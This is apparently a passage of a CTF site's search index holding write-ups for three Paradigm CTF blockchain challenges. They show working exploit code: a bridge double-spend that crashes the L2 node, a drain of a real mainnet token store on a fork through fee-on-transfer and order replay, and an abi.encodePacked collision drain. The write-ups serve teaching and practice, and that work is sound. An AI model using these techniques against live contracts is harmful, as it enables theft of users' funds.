users can transfer funds to L1 without spending any in L2 :O def format_anvil_args ( args : LaunchAnvilInstanceArgs , anvil_id : str , port : int = 8545 ) -> List [ str ]: ... cmd_args += [ \"--state\" , f \"/data/ { anvil_id } -state.json\" ] cmd_args += [ \"--state-interval\" , \"5\" ] Only the SimpleMultiSigGov at 0x31337 can interact with the ADMIN , but we can't obtain any valid signatures to let it execute transactions. Alternatively, we can leverage the state override set to ephemerally override the code at 0x31337 and simulate the call The admin_func_run() function is the entry point of ADMIN . To invoke the fn_dump_state() function, the first two bytes should be 0x0204 pub const ADMIN : PrecompileAddress = PrecompileAddress ( crate :: u64_to_address ( 1337 ), Precompile :: Context ( admin_func_run ), ); fn fn_reload_runtime_config ( rest : & [ u8 ], _context : & CallContext ) -> u64 { if rest . len () == 0 { return 1 u64 } else { return match ConfigKind :: from_u8 ( rest [ 0 ]) { .. . ConfigKind :: DumpState => fn_dump_state ( & rest [ 1 .. ]), _ => 1 u64 }; } } fn admin_func_run ( i : & [ u8 ], target_gas : u64 , context : & CallContext ) -> PrecompileResult { .. . if gas_base != target_gas { return Err ( Error :: OutOfGas ); } if i . len () == 0 || ! is_multisig ( & context ) { return Err ( Error :: EnterpriseHalt ); } let out = match AdminCallKind :: from_u8 ( i [ 0 ]) { AdminCallKind :: EmergencyStop => fn_emergency_stop ( & i [ 1 .. ], context ), AdminCallKind :: ReloadRuntimeConfig => fn_reload_runtime_config ( & i [ 1 .. ], context ), AdminCallKind :: Mint => fn_mint ( & i [ 1 .. ], context ), AdminCallKind :: Burn => fn_burn ( & i [ 1 .. ], context ), AdminCallKind :: Unknown => u64 :: MAX }; .. . } pub enum AdminCallKind { EmergencyStop = 1 , ReloadRuntimeConfig = 2 , Mint = 3 , Burn = 4 , Unknown , }","title":"Solution"},{"location":"blockchain/paradigm/enterprise_blockchain/#solution_1","text":"import pwn from time import sleep from cheb3 import Connection from cheb3.utils import compile_sol , encode_with_signature , decode_data bridge_abi , _ = compile_sol ( \"\"\" interface IBridge { function remoteTokenToLocalToken(address) external view returns (address); function ERC20Out(address token, address to, uint256 amount) external; } \"\"\" , solc_version = \"0.8.20\" , )[ \"IBridge\" ] flag_token_abi , _ = compile_sol ( \"\"\" interface IFlagToken { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } \"\"\" , solc_version = \"0.8.20\" , )[ \"IFlagToken\" ] HOST = \"localhost\" PORT = 1337 svr = pwn . remote ( HOST , PORT ) svr . sendlineafter ( b \"action?\" , b \"1\" ) svr . recvuntil ( b \"rpc endpoints:\" ) l1 = Connection ( svr . recvline_contains ( b \"l1\" ) . replace ( b \"-\" , b \"\" ) . strip () . decode ()) l2 = Connection ( svr . recvline_contains ( b \"l2\" ) . replace ( b \"-\" , b \"\" ) . strip () . decode ()) priv = svr . recvline_contains ( b \"private\" ) . split ( b \":\" )[ - 1 ] . strip () . decode () setup = svr . recvline_contains ( b \"challenge\" ) . split ( b \":\" )[ - 1 ] . strip () . decode () svr . close () l1account = l1 . account ( priv ) l2account = l2 . account ( priv ) bridge = decode_data ( l1account . call ( setup , data = encode_with_signature ( \"BRIDGE()\" )), [ \"address\" ] ) l1bridge = l1 . contract ( l1account , address = bridge , abi = bridge_abi ) l2bridge = l2 . contract ( l2account , address = bridge , abi = bridge_abi ) flag_token_addr = decode_data ( l1account . call ( setup , data = encode_with_signature ( \"FLAG_TOKEN()\" )), [ \"address\" ] ) flag_token = l1 . contract ( l1account , address = flag_token_addr , abi = flag_token_abi ) # Transfer FlagTokens from L1 to L2 flag_token . functions . approve ( bridge , int ( 1e18 )) . send_transaction () l1bridge . functions . ERC20Out ( flag_token_addr , l2account . address , int ( 1e18 ) ) . send_transaction () # Waiting for message to be relayed sleep ( 2 ) l2token = l2bridge . caller . remoteTokenToLocalToken ( flag_token_addr ) # Waiting for the latest state to be dumped sleep ( 5 ) # Transfer FlagTokens from L2 to L1 for i in range ( 100 ): balance = flag_token . caller . balanceOf ( bridge ) print ( f \"FlagToken balance of l1Bridge: { balance } \" ) if balance < int ( 90e18 ): break l2balance = decode_data ( l2account . call ( l2token , data = encode_with_signature ( \"balanceOf(address)\" , l2account . address ), ), [ \"uint256\" ], ) print ( f \"FlagToken L2 balance of player: { l2balance } \" ) l2bridge . functions . ERC20Out ( l2token , l1account . address , int ( 5e17 ) - i # avoid same relay message hash ) . send_transaction () # Waiting for message to be relayed sleep ( 2 ) while True : try : # Kill the L2 node l2account . call ( \"0x0000000000000000000000000000000000031337\" , state_override = { \"0x0000000000000000000000000000000000031337\" : { # address(1337).staticcall{gas: 2000}(abi.encodePacked(hex\"0204\", new bytes(0x11))) \"code\" : \"0x6002600053600460015360006000601360006105396107d0fa\" }, }, ) continue except : # Waiting for L2 node to restart sleep ( 5 ) break svr = pwn . remote ( HOST , PORT ) svr . sendlineafter ( b \"action?\" , b \"3\" ) svr . interactive ()","title":"Solution"},{"location":"blockchain/paradigm/enterprise_blockchain/#flag","text":"PCTF{57473_0V3RR1d35_90_8RR}","title":"Flag"},{"location":"blockchain/paradigm/enterprise_blockchain/#references","text":"rust - Unexpected segfault when working with raw pointers - Stack Overflow Arrays and Slices - Rust By Example pointer - Rust eth_call - Ethereum","title":"References"},{"location":"blockchain/paradigm/grains_of_sand/","tags":["smart contract","fee on transfer","signature replay","dune"],"text":"#smart contract #fee on transfer #signature replay #dune .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 At what point does it stop being a heap? Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.0 ; import \"forge-ctf/CTFDeployment.sol\" ; import \"../src/Challenge.sol\" ; contract Deploy is CTFDeployment { function deploy ( address system , address ) internal override returns ( address challenge ) { vm . startBroadcast ( system ); challenge = address ( new Challenge ()); vm . stopBroadcast (); } } src/Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.0 ; import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; contract Challenge { IERC20 private immutable TOKEN = IERC20 ( 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 ); address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 ; uint256 private immutable INITIAL_BALANCE ; constructor () { INITIAL_BALANCE = TOKEN . balanceOf ( TOKENSTORE ); } function isSolved () external view returns ( bool ) { return INITIAL_BALANCE - TOKEN . balanceOf ( TOKENSTORE ) >= 11111e8 ; } } Solution \u00b6 The private chain is forked from the Ethereum mainnet block with block number \\(18437825\\) . And to solve the challenge, the token balance of the token store needs to be decreased by at least \\(11111 \\times 10^8\\) // challenge.py def get_anvil_instances ( self ) -> Dict [ str , LaunchAnvilInstanceArgs ] : return { \"main\" : self . get_anvil_instance ( fork_block_num = 18 _437_825 ), } The token GoldReserve (XGR) charges a fee when transferring, but the token store does not support fee-on-transfer tokens. So we can repeatedly deposit and withdraw to drain tokens from the store function depositToken ( address _token , uint _amount ) deprecable { ... if ( ! Token ( _token ). transferFrom ( msg . sender , this , _amount )) { revert (); } tokens [ _token ][ msg . sender ] = safeAdd ( tokens [ _token ][ msg . sender ], _amount ); // @note The amount received could be less than _amount Deposit ( _token , msg . sender , _amount , tokens [ _token ][ msg . sender ]); } function withdrawToken ( address _token , uint _amount ) { ... tokens [ _token ][ msg . sender ] = safeSub ( tokens [ _token ][ msg . sender ], _amount ); if ( ! Token ( _token ). transfer ( msg . sender , _amount )) { revert (); } Withdraw ( _token , msg . sender , _amount , tokens [ _token ][ msg . sender ]); } Now we need to get some GoldReserve tokens first! Through the trade() function, we can exchange for $XGR with signatures function trade ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s , uint _amount ) { bytes32 hash = sha256 ( this , _tokenGet , _amountGet , _tokenGive , _amountGive , _expires , _nonce ); // Check order signatures and expiration, also check if not fulfilled yet if ( ecrecover ( sha3 ( \"\\x19Ethereum Signed Message:\\n32\" , hash ), _v , _r , _s ) != _user || block . number > _expires || safeAdd ( orderFills [ _user ][ hash ], _amount ) > _amountGet ) { revert (); } tradeBalances ( _tokenGet , _amountGet , _tokenGive , _amountGive , _user , msg . sender , _amount ); orderFills [ _user ][ hash ] = safeAdd ( orderFills [ _user ][ hash ], _amount ); Trade ( _tokenGet , _amount , _tokenGive , _amountGive * _amount / _amountGet , _user , msg . sender , _nonce ); } function tradeBalances ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , address _user , address _caller , uint _amount ) private { ... tokens [ _tokenGet ][ _user ] = safeAdd ( tokens [ _tokenGet ][ _user ], safeAdd ( _amount , rebateValue )); tokens [ _tokenGet ][ _caller ] = safeSub ( tokens [ _tokenGet ][ _caller ], safeAdd ( _amount , feeTakeValue )); tokens [ _tokenGive ][ _user ] = safeSub ( tokens [ _tokenGive ][ _user ], tokenGiveValue ); tokens [ _tokenGive ][ _caller ] = safeAdd ( tokens [ _tokenGive ][ _caller ], tokenGiveValue ); tokens [ _tokenGet ][ feeAccount ] = safeAdd ( tokens [ _tokenGet ][ feeAccount ], safeSub ( feeTakeValue , rebateValue )); ... } Trading orders can be partially filled. By using Dune , we can find unexpired orders for GoldReserve tokens. Luckily, there are two orders with large amounts of unsold tokens XD tx_hash _amount _amountGet 0x1483f5c6158dfb9a899b137ccfa988fb2b1f6927854dcd83e0a29caadd0e38ba 4200000000000000 84000000000000000 0x6d727f761c7744bebf4a8773f5a06cd7af280dcda0b55c0995aea47d5570f1a1 4246800000000000 42468000000000000 Exploit \u00b6 interface ITokenStore { function tokens ( address _token , address _user ) external view returns ( uint256 ); function deposit () external payable ; function depositToken ( address _token , uint _amount ) external ; function withdrawToken ( address _token , uint _amount ) external ; function trade ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s , uint _amount ) external ; function availableVolume ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s ) external view returns ( uint256 ); } contract Solve is CTFSolver { ITokenStore tokenStore = ITokenStore ( 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 ); function doTrade ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s ) internal { uint256 amount = tokenStore . availableVolume ( _tokenGet , _amountGet , _tokenGive , _amountGive , _expires , _nonce , _user , _v , _r , _s ); tokenStore . trade ( _tokenGet , _amountGet , _tokenGive , _amountGive , _expires , _nonce , _user , _v , _r , _s , amount ); } function solve ( address _challenge , address player ) internal override { Challenge challenge = Challenge ( _challenge ); address token = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 ; tokenStore . deposit { value : 10 ether }(); // to buy $XGR doTrade ( address ( 0 ), 84000000000000000 , token , 200000000000 , 108142282 , 470903382 , address ( 0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8 ), 28 , 0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018 , 0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a ); doTrade ( address ( 0 ), 42468000000000000 , token , 1000000000000 , 109997981 , 249363390 , address ( 0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C ), 28 , 0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397 , 0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e ); IERC20 ( token ). approve ( address ( tokenStore ), type ( uint256 ). max ); tokenStore . withdrawToken ( token , tokenStore . tokens ( token , player )); while ( ! challenge . isSolved ()) { tokenStore . depositToken ( token , IERC20 ( token ). balanceOf ( player )); tokenStore . withdrawToken ( token , tokenStore . tokens ( token , player )); } } } Flag \u00b6 PCTF{f33_70K3nS_cauS1n9_pR08L3Ms_a9a1N}","title":"Grains of Sand"},{"location":"blockchain/paradigm/grains_of_sand/#description","text":"At what point does it stop being a heap? Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.0 ; import \"forge-ctf/CTFDeployment.sol\" ; import \"../src/Challenge.sol\" ; contract Deploy is CTFDeployment { function deploy ( address system , address ) internal override returns ( address challenge ) { vm . startBroadcast ( system ); challenge = address ( new Challenge ()); vm . stopBroadcast (); } } src/Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.0 ; import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; contract Challenge { IERC20 private immutable TOKEN = IERC20 ( 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 ); address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 ; uint256 private immutable INITIAL_BALANCE ; constructor () { INITIAL_BALANCE = TOKEN . balanceOf ( TOKENSTORE ); } function isSolved () external view returns ( bool ) { return INITIAL_BALANCE - TOKEN . balanceOf ( TOKENSTORE ) >= 11111e8 ; } }","title":"Description"},{"location":"blockchain/paradigm/grains_of_sand/#solution","text":"The private chain is forked from the Ethereum mainnet block with block number \\(18437825\\) . And to solve the challenge, the token balance of the token store needs to be decreased by at least \\(11111 \\times 10^8\\) // challenge.py def get_anvil_instances ( self ) -> Dict [ str , LaunchAnvilInstanceArgs ] : return { \"main\" : self . get_anvil_instance ( fork_block_num = 18 _437_825 ), } The token GoldReserve (XGR) charges a fee when transferring, but the token store does not support fee-on-transfer tokens. So we can repeatedly deposit and withdraw to drain tokens from the store function depositToken ( address _token , uint _amount ) deprecable { ... if ( ! Token ( _token ). transferFrom ( msg . sender , this , _amount )) { revert (); } tokens [ _token ][ msg . sender ] = safeAdd ( tokens [ _token ][ msg . sender ], _amount ); // @note The amount received could be less than _amount Deposit ( _token , msg . sender , _amount , tokens [ _token ][ msg . sender ]); } function withdrawToken ( address _token , uint _amount ) { ... tokens [ _token ][ msg . sender ] = safeSub ( tokens [ _token ][ msg . sender ], _amount ); if ( ! Token ( _token ). transfer ( msg . sender , _amount )) { revert (); } Withdraw ( _token , msg . sender , _amount , tokens [ _token ][ msg . sender ]); } Now we need to get some GoldReserve tokens first! Through the trade() function, we can exchange for $XGR with signatures function trade ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s , uint _amount ) { bytes32 hash = sha256 ( this , _tokenGet , _amountGet , _tokenGive , _amountGive , _expires , _nonce ); // Check order signatures and expiration, also check if not fulfilled yet if ( ecrecover ( sha3 ( \"\\x19Ethereum Signed Message:\\n32\" , hash ), _v , _r , _s ) != _user || block . number > _expires || safeAdd ( orderFills [ _user ][ hash ], _amount ) > _amountGet ) { revert (); } tradeBalances ( _tokenGet , _amountGet , _tokenGive , _amountGive , _user , msg . sender , _amount ); orderFills [ _user ][ hash ] = safeAdd ( orderFills [ _user ][ hash ], _amount ); Trade ( _tokenGet , _amount , _tokenGive , _amountGive * _amount / _amountGet , _user , msg . sender , _nonce ); } function tradeBalances ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , address _user , address _caller , uint _amount ) private { ... tokens [ _tokenGet ][ _user ] = safeAdd ( tokens [ _tokenGet ][ _user ], safeAdd ( _amount , rebateValue )); tokens [ _tokenGet ][ _caller ] = safeSub ( tokens [ _tokenGet ][ _caller ], safeAdd ( _amount , feeTakeValue )); tokens [ _tokenGive ][ _user ] = safeSub ( tokens [ _tokenGive ][ _user ], tokenGiveValue ); tokens [ _tokenGive ][ _caller ] = safeAdd ( tokens [ _tokenGive ][ _caller ], tokenGiveValue ); tokens [ _tokenGet ][ feeAccount ] = safeAdd ( tokens [ _tokenGet ][ feeAccount ], safeSub ( feeTakeValue , rebateValue )); ... } Trading orders can be partially filled. By using Dune , we can find unexpired orders for GoldReserve tokens. Luckily, there are two orders with large amounts of unsold tokens XD tx_hash _amount _amountGet 0x1483f5c6158dfb9a899b137ccfa988fb2b1f6927854dcd83e0a29caadd0e38ba 4200000000000000 84000000000000000 0x6d727f761c7744bebf4a8773f5a06cd7af280dcda0b55c0995aea47d5570f1a1 4246800000000000 42468000000000000","title":"Solution"},{"location":"blockchain/paradigm/grains_of_sand/#exploit","text":"interface ITokenStore { function tokens ( address _token , address _user ) external view returns ( uint256 ); function deposit () external payable ; function depositToken ( address _token , uint _amount ) external ; function withdrawToken ( address _token , uint _amount ) external ; function trade ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s , uint _amount ) external ; function availableVolume ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s ) external view returns ( uint256 ); } contract Solve is CTFSolver { ITokenStore tokenStore = ITokenStore ( 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 ); function doTrade ( address _tokenGet , uint _amountGet , address _tokenGive , uint _amountGive , uint _expires , uint _nonce , address _user , uint8 _v , bytes32 _r , bytes32 _s ) internal { uint256 amount = tokenStore . availableVolume ( _tokenGet , _amountGet , _tokenGive , _amountGive , _expires , _nonce , _user , _v , _r , _s ); tokenStore . trade ( _tokenGet , _amountGet , _tokenGive , _amountGive , _expires , _nonce , _user , _v , _r , _s , amount ); } function solve ( address _challenge , address player ) internal override { Challenge challenge = Challenge ( _challenge ); address token = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 ; tokenStore . deposit { value : 10 ether }(); // to buy $XGR doTrade ( address ( 0 ), 84000000000000000 , token , 200000000000 , 108142282 , 470903382 , address ( 0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8 ), 28 , 0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018 , 0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a ); doTrade ( address ( 0 ), 42468000000000000 , token , 1000000000000 , 109997981 , 249363390 , address ( 0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C ), 28 , 0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397 , 0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e ); IERC20 ( token ). approve ( address ( tokenStore ), type ( uint256 ). max ); tokenStore . withdrawToken ( token , tokenStore . tokens ( token , player )); while ( ! challenge . isSolved ()) { tokenStore . depositToken ( token , IERC20 ( token ). balanceOf ( player )); tokenStore . withdrawToken ( token , tokenStore . tokens ( token , player )); } } }","title":"Exploit"},{"location":"blockchain/paradigm/grains_of_sand/#flag","text":"PCTF{f33_70K3nS_cauS1n9_pR08L3Ms_a9a1N}","title":"Flag"},{"location":"blockchain/paradigm/one_hundred_percent/","tags":["smart contract","abi.encodePacked","collisions"],"text":"#smart contract #abi.encodePacked #collisions .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 Your funds are safe when you use our innovative new payment splitter that ensure that 100% of assets make it to their intended recipients. Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"forge-ctf/CTFDeployment.sol\" ; import \"src/Split.sol\" ; import \"src/Challenge.sol\" ; contract Deploy is CTFDeployment { function deploy ( address system , address ) internal override returns ( address challenge ) { vm . startBroadcast ( system ); Split split = new Split (); address [] memory addrs = new address []( 2 ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000dEaD ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000bEEF ); uint32 [] memory percents = new uint32 []( 2 ); percents [ 0 ] = 5e5 ; percents [ 1 ] = 5e5 ; uint256 id = split . createSplit ( addrs , percents , 0 ); Split . SplitData memory splitData = split . splitsById ( id ); splitData . wallet . deposit { value : 100 ether }(); challenge = address ( new Challenge ( split )); vm . stopBroadcast (); } } src/Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol\" ; import \"./Split.sol\" ; contract Challenge { Split public immutable SPLIT ; constructor ( Split split ) { SPLIT = split ; } function isSolved () external view returns ( bool ) { Split . SplitData memory splitData = SPLIT . splitsById ( 0 ); return address ( SPLIT ). balance == 0 && address ( splitData . wallet ). balance == 0 ; } } src/Split.sol import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" ; import \"@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol\" ; import \"./SplitWallet.sol\" ; contract Split is ERC721 ( \"Split\" , \"SPLIT\" ) { using ClonesWithImmutableArgs for address ; struct SplitData { bytes32 hash ; SplitWallet wallet ; } SplitWallet private immutable IMPLEMENTATION = new SplitWallet (); uint256 private immutable SCALE = 1e6 ; uint256 public nextId ; mapping ( uint256 => SplitData ) private _splitsById ; mapping ( address => mapping ( address => uint256 )) public balances ; modifier onlySplitOwner ( uint256 splitId ) { _onlySplitOwner ( splitId ); _ ; } function _onlySplitOwner ( uint256 splitId ) private view { require ( msg . sender == ownerOf ( splitId ), \"NOT_SPLIT_OWNER\" ); } modifier validSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) { _validSplit ( accounts , percents , relayerFee ); _ ; } function _validSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) private pure { require ( accounts . length == percents . length , \"MISMATCH_LENGTH\" ); uint256 sum ; for ( uint256 i = 0 ; i < accounts . length ; i ++ ) { sum += percents [ i ]; } require ( sum == SCALE , \"INVALID_PERCENTAGES\" ); require ( relayerFee < SCALE / 10 , \"INVALID_RELAYER_FEE\" ); } function createSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) external returns ( uint256 ) { return _createSplit ( accounts , percents , relayerFee , msg . sender ); } function createSplitFor ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , address owner ) external returns ( uint256 ) { return _createSplit ( accounts , percents , relayerFee , owner ); } function _createSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , address owner ) private validSplit ( accounts , percents , relayerFee ) returns ( uint256 ) { uint256 tokenId = nextId ++ ; address wallet = address ( IMPLEMENTATION ). clone ( abi . encodePacked ( address ( this ))); _splitsById [ tokenId ] = SplitData ({ hash : _hashSplit ( accounts , percents , relayerFee ), wallet : SplitWallet ( payable ( wallet ))}); _mint ( owner , tokenId ); return tokenId ; } function updateSplit ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) external { _updateSplit ( splitId , accounts , percents , relayerFee ); } function updateSplitAndDistribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) external { _updateSplit ( splitId , accounts , percents , relayerFee ); _distribute ( splitId , accounts , percents , relayerFee , token ); } function distribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) external { _distribute ( splitId , accounts , percents , relayerFee , token ); } function withdraw ( IERC20 [] calldata tokens , uint256 [] calldata amounts ) external { for ( uint256 i = 0 ; i < tokens . length ; i ++ ) { IERC20 token = tokens [ i ]; uint256 amount = amounts [ i ]; balances [ msg . sender ][ address ( token )] -= amount ; if ( address ( token ) == address ( 0x00 )) { payable ( msg . sender ). transfer ( amount ); } else { token . transfer ( msg . sender , amount ); } } } function _updateSplit ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) private onlySplitOwner ( splitId ) validSplit ( accounts , percents , relayerFee ) { _splitsById [ splitId ]. hash = _hashSplit ( accounts , percents , relayerFee ); } function _distribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) private { require ( _splitsById [ splitId ]. hash == _hashSplit ( accounts , percents , relayerFee )); SplitWallet wallet = _splitsById [ splitId ]. wallet ; uint256 storedWalletBalance = balances [ address ( wallet )][ address ( token )]; uint256 externalWalletBalance = wallet . balanceOf ( token ); uint256 totalBalance = storedWalletBalance + externalWalletBalance ; if ( msg . sender != ownerOf ( splitId )) { uint256 relayerAmount = totalBalance * relayerFee / SCALE ; balances [ msg . sender ][ address ( token )] += relayerAmount ; totalBalance -= relayerAmount ; } for ( uint256 i = 0 ; i < accounts . length ; i ++ ) { balances [ accounts [ i ]][ address ( token )] += totalBalance * percents [ i ] / SCALE ; } if ( storedWalletBalance > 0 ) { balances [ address ( wallet )][ address ( token )] = 0 ; } if ( externalWalletBalance > 0 ) { wallet . pullToken ( token , externalWalletBalance ); } } function _hashSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) internal pure returns ( bytes32 ) { return keccak256 ( abi . encodePacked ( accounts , percents , relayerFee )); } function splitsById ( uint256 id ) external view returns ( SplitData memory ) { return _splitsById [ id ]; } receive () external payable {} } src/SplitWallet.sol import \"@clones-with-immutable-args/src/Clone.sol\" ; import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; contract SplitWallet is Clone { function deposit () external payable {} function pullToken ( IERC20 token , uint256 amount ) external { require ( msg . sender == _getArgAddress ( 0 )); if ( address ( token ) == address ( 0x00 )) { payable ( msg . sender ). transfer ( amount ); } else { token . transfer ( msg . sender , amount ); } } function balanceOf ( IERC20 token ) external view returns ( uint256 ) { if ( address ( token ) == address ( 0x00 )) { return address ( this ). balance ; } return token . balanceOf ( address ( this )); } } Solution \u00b6 To solve the challenge, the ether balance of both SPLIT and _splitsById[0].wallet should be 0 The distribute() function of Split can be used to distribute the specific asset in the SplitWallet , based on the accounts and percents that are specified during the creation of the SplitWallet . After distribution, users can withdraw based on the value stored in balances However, distribute() simply validates the parameters by comparing the hash of abi.encodePacked result, while both accounts and percents are dynamic types. Thus, accounts and percents can be slightly adjusted during distribution function _distribute ( uint256 splitId , address [] memory accounts , uint32 [] memory percents , uint32 relayerFee , IERC20 token ) private { require ( _splitsById [ splitId ]. hash == _hashSplit ( accounts , percents , relayerFee )); ... } function _hashSplit ( address [] memory accounts , uint32 [] memory percents , uint32 relayerFee ) internal pure returns ( bytes32 ) { return keccak256 ( abi . encodePacked ( accounts , percents , relayerFee )); } During the creation of SplitWallet{id: 0} , index 1 account has been accidentally left uninitialized address [] memory addrs = new address []( 2 ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000dEaD ); addrs [ 0 ] = address ( 0x000000000000000000000000000000000000bEEF ); ... uint256 id = split . createSplit ( addrs , percents , 0 ); So we can use modified accounts and percents to pull all ETH from SplitWallet{id: 0} but not distribute it to anyone, while keeping the hash unchanged (Note that array elements are padded to 32 bytes) function _distribute ( uint256 splitId , address [] memory accounts , // @note [0xbEEF] uint32 [] memory percents , // @note [0, 5e5, 5e5] uint32 relayerFee , IERC20 token ) private { ... uint256 totalBalance = storedWalletBalance + externalWalletBalance ; if ( msg . sender != ownerOf ( splitId )) { uint256 relayerAmount = totalBalance * relayerFee / SCALE ; balances [ msg . sender ][ address ( token )] += relayerAmount ; totalBalance -= relayerAmount ; } for ( uint256 i = 0 ; i < accounts . length ; i ++ ) { balances [ accounts [ i ]][ address ( token )] += totalBalance * percents [ i ] / SCALE ; } ... } Similarly, we can utilize the hash collision caused by abi.encodePacked to withdraw more ETH than deposited to drain Split Exploit \u00b6 function solve ( address challenge , address player ) internal override { Challenge chall = Challenge ( challenge ); Split split = chall . SPLIT (); address [] memory account = new address []( 1 ); account [ 0 ] = address ( 0x000000000000000000000000000000000000bEEF ); uint32 [] memory percents = new uint32 []( 3 ); percents [ 1 ] = 5e5 ; percents [ 2 ] = 5e5 ; split . distribute ( 0 , account , percents , 0 , IERC20 ( address ( 0 ))); // pull from SplitWallet address [] memory accounts = new address []( 2 ); accounts [ 0 ] = player ; accounts [ 1 ] = address ( 2 ** 32 - 1 ); // set percent to the max percents = new uint32 []( 2 ); percents [ 0 ] = 5e5 ; percents [ 1 ] = 5e5 ; split . createSplit ( accounts , percents , 0 ); Split . SplitData memory splitData = split . splitsById ( 1 ); // x * (2 ** 32 - 1) / 1e6 > (100 ether + x) => x > 100 ether * 1e6 / (2 ** 32 - 1e6 - 1) splitData . wallet . deposit { value : 100 ether * 1e6 / uint256 ( 2 ** 31 )}(); account [ 0 ] = player ; percents = new uint32 []( 3 ); percents [ 0 ] = 2 ** 32 - 1 ; percents [ 1 ] = 5e5 ; percents [ 2 ] = 5e5 ; split . distribute ( 1 , account , percents , 0 , IERC20 ( address ( 0 ))); IERC20 [] memory tokens = new IERC20 []( 1 ); tokens [ 0 ] = IERC20 ( address ( 0 )); uint256 [] memory amounts = new uint256 []( 1 ); amounts [ 0 ] = address ( split ). balance ; split . withdraw ( tokens , amounts ); require ( chall . isSolved ()); } Flag \u00b6 PCTF{gU355_7H3r3_w45n7_3nOUgH_1NpU7_V4L1D471ON}","title":"100%"},{"location":"blockchain/paradigm/one_hundred_percent/#description","text":"Your funds are safe when you use our innovative new payment splitter that ensure that 100% of assets make it to their intended recipients. Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"forge-ctf/CTFDeployment.sol\" ; import \"src/Split.sol\" ; import \"src/Challenge.sol\" ; contract Deploy is CTFDeployment { function deploy ( address system , address ) internal override returns ( address challenge ) { vm . startBroadcast ( system ); Split split = new Split (); address [] memory addrs = new 